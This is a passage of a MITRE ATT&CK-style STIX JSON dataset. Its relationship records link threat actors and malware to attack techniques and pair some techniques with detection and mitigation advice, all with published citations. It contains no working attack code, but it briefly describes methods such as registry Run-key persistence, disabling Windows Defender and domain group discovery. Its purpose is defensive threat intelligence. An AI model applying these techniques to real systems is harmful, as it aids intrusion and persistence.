2022.","url":"https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory="}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T16:07:47.923Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used malware to disable Windows Defender through modification of the Registry.(Citation: Korean FSI TA505 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ded5760-4f2e-41f5-a2c5-f2b39eaf5733","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"}],"modified":"2019-04-24T23:59:16.369Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) can download an executable to run on the victim.(Citation: Palo Alto Shamoon Nov 2016)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3df9c843-4833-45f9-a1ae-f7231d8410c4","created":"2022-08-29T14:47:07.567Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cybereason Bumblebee August 2022","url":"https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control","description":"Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bumblebee](https://attack.mitre.org/software/S1039) can compress data stolen from the Registry and volume shadow copies prior to exfiltration.(Citation: Cybereason Bumblebee August 2022)","modified":"2022-08-29T14:47:07.567Z","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3dfd09c1-dde9-4bbf-9cfc-57b263b91284","created":"2024-05-23T22:52:19.858Z","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-23T22:52:19.858Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) deletes files related to lateral movement to avoid detection.(Citation: Cadet Blizzard emerges as novel threat actor)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e039f64-08da-4bb3-b8d5-1ed6428980ac","type":"relationship","created":"2020-05-26T16:17:59.750Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}],"modified":"2020-05-26T16:17:59.750Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) used malware to download additional malicious files to the target system.(Citation: Talos Rocke August 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e087d2f-6f33-426d-beb2-b57e69f63d42","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T23:58:25.611Z","description":"Monitor for changes made to windows Registry keys and/or values that adversaries might use to disable or modify System Firewall settings such as `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy`.","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e09a5ce-a6a0-4f03-8c23-a7ebb4dfd74c","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Forcepoint Monsoon","description":"Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.","url":"https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"},{"source_name":"PaloAlto Patchwork Mar 2018","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"},{"source_name":"TrendMicro Patchwork Dec 2017","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"}],"modified":"2020-03-16T15:59:20.522Z","description":"When it first starts, [BADNEWS](https://attack.mitre.org/software/S0128) spawns a new thread to log keystrokes.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e0fc6a8-83df-41da-ac13-0e37e4cfe89f","created":"2024-05-21T18:04:01.696Z","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-21T18:04:01.696Z","description":"\n[Volt Typhoon](https://attack.mitre.org/groups/G1017) has obtained the victim's system timezone.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e11299d-7619-4d38-be19-bfe12058955e","type":"relationship","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.871Z","description":"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e153f3f-26aa-4ff6-8192-095b30e94bae","created":"2020-12-29T16:20:59.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T17:59:36.671Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) uses an RPC server that contains a routine for file deletion and also removes itself from the system through a DLL export by deleting specific files.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e1585d9-d6dc-4016-8cba-53ca08b7887e","created":"2022-09-08T13:58:24.047Z","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-08T13:58:24.047Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used compromised VPN accounts to gain access to victim systems.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e16f380-633b-4d27-9249-9bcf25717f5a","created":"2023-09-14T19:06:06.617Z","revoked":false,"external_references":[{"source_name":"Zdnet Ngrok September 2018","description":"Cimpanu, C. (2018, September 13). Sly malware author hides cryptomining botnet behind ever-shifting proxy service. Retrieved September 15, 2020.","url":"https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/"},{"source_name":"MalwareBytes Ngrok February 2020","description":"Segura, J. (2020, February 26). Fraudsters cloak credit card skimmer with fake content delivery network, ngrok server. Retrieved September 15, 2020.","url":"https://blog.malwarebytes.com/threat-analysis/2020/02/fraudsters-cloak-credit-card-skimmer-with-fake-content-delivery-network-ngrok-server/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-14T19:06:06.617Z","description":"[ngrok](https://attack.mitre.org/software/S0508) can be used to proxy connections to machines located behind NAT or firewalls.(Citation: MalwareBytes Ngrok February 2020)(Citation: Zdnet Ngrok September 2018)","relationship_type":"uses","source_ref":"tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e17459a-edb2-471c-87b0-1315f3500ab6","created":"2023-08-03T20:18:46.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-08T17:52:46.448Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has run `net group` in compromised environments to discover domain groups.(Citation: Secureworks BRONZE SILHOUETTE May 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e18f486-1e6f-49fa-8b99-4daf615d3e8d","type":"relationship","created":"2020-08-24T14:27:37.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-10-16T21:01:17.193Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can install additional modules via C2 commands.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e2212a9-9347-46ac-ae96-04e558973779","created":"2024-10-07T21:42:57.989Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T21:42:57.989Z","description":"Implement multi-factor authentication (MFA) for default accounts whenever possible to prevent unauthorized access, even if credentials for these accounts are compromised. MFA adds an additional layer of security that requires more than just a username and password, making it significantly harder for adversaries to exploit these accounts for initial access or lateral movement.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e24f01c-3af8-4dde-9200-4f69fecb3156","type":"relationship","created":"2020-02-11T20:35:32.284Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T20:35:32.284Z","relationship_type":"revoked-by","source_ref":"attack-pattern--b39d03cb-7b98-41c4-a878-c40c1a913dc0","target_ref":"attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e26385f-0aa0-44a3-8830-978610a1680d","created":"2023-04-10T17:03:38.990Z","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"},{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T17:03:38.990Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has used unique malware for information theft and exfiltration.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e2ca5c5-2e5c-4e8a-98c4-0455cea56a88","type":"relationship","created":"2020-02-05T15:08:06.019Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-05T15:08:06.019Z","relationship_type":"revoked-by","source_ref":"attack-pattern--519630c5-f03f-4882-825c-3af924935817","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e2d4ce8-0006-4571-b8ea-dbfc4bf7302f","type":"relationship","created":"2019-01-30T18:39:48.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"},{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"source_name":"Unit42 Sofacy Dec 2018","url":"https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/","description":"Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group’s Global Campaign. Retrieved April 19, 2019."},{"description":"ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.","url":"https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/","source_name":"ESET Zebrocy May 2019"},{"source_name":"Accenture SNAKEMACKEREL Nov 2018","url":"https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50","description":"Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}],"modified":"2020-12-09T21:54:33.769Z","description":"A variant of [Zebrocy](https://attack.mitre.org/software/S0251) captures screenshots of the victim’s machine in JPEG and BMP format.(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020)","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e36bc27-d1c1-4ccd-bf6d-2868843664c8","type":"relationship","created":"2019-04-17T13:46:38.705Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Astaroth Feb 2019","url":"https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research","description":"Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."}],"modified":"2019-09-09T19:23:37.023Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) uses a software packer called Pe123\\RPolyCryptor.(Citation: Cybereason Astaroth Feb 2019)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e370a6e-2a3c-4e56-aa57-fecab8d09709","type":"relationship","created":"2019-01-29T18:44:05.081Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DigiTrust Agent Tesla Jan 2017","url":"https://www.digitrustgroup.com/agent-tesla-keylogger/","description":"The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."},{"description":"Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.","url":"https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html","source_name":"Fortinet Agent Tesla April 2018"},{"source_name":"Malwarebytes Agent Tesla April 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/","description":"Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."}],"modified":"2020-05-28T23:41:03.888Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the username from the victim’s machine.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla April 2018)(Citation: Malwarebytes Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3e375d96-bc20-431e-ab35-f2e05fb88343","created":"2022-06-10T17:06:35.107Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T18:35:36.503Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has used VPS hosting providers for infrastructure.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--3e3a5bf5-1e90-45d2-b90a-3b919f5425d5","created":"2022-07-22T14:12:22.578Z","x_mitre_version":"0.1","external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A","description":"CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."},{"source_name":"GitHub QuasarRAT","url":"https://github.com/quasar/QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"If the [QuasarRAT](https://attack.mitre.org/software/S0262) client process does not have administrator privileges it will add a registry key to `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` for persistence.(Citation: GitHub QuasarRAT)(Citation: CISA AR18-352A Quasar RAT December 2018) ","modified":"2022-08-02T15:59:52.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e3c926e-4f21-40f0-b869-6b3c0e35e243","type":"relationship","created":"2020-03-09T15:42:45.500Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-17T17:53:50.891Z","description":"Disable legacy network protocols that may be used to intercept network traffic if applicable, especially those that are not needed within an environment.","relationship_type":"mitigates","source_ref":"course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31","target_ref":"attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e3df746-053d-42e6-95c7-3f99c31be8be","type":"relationship","created":"2021-09-30T20:24:52.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-10-15T21:35:10.059Z","description":"[ProLock](https://attack.mitre.org/software/S0654) can encrypt files on a compromised host with RC6, and encrypts the key with RSA-1024.(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e3f06c4-3105-4d07-b876-702005e9b59a","type":"relationship","created":"2020-03-25T16:25:17.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-20T23:03:00.806Z","description":"Ensure Domain Controller backups are properly 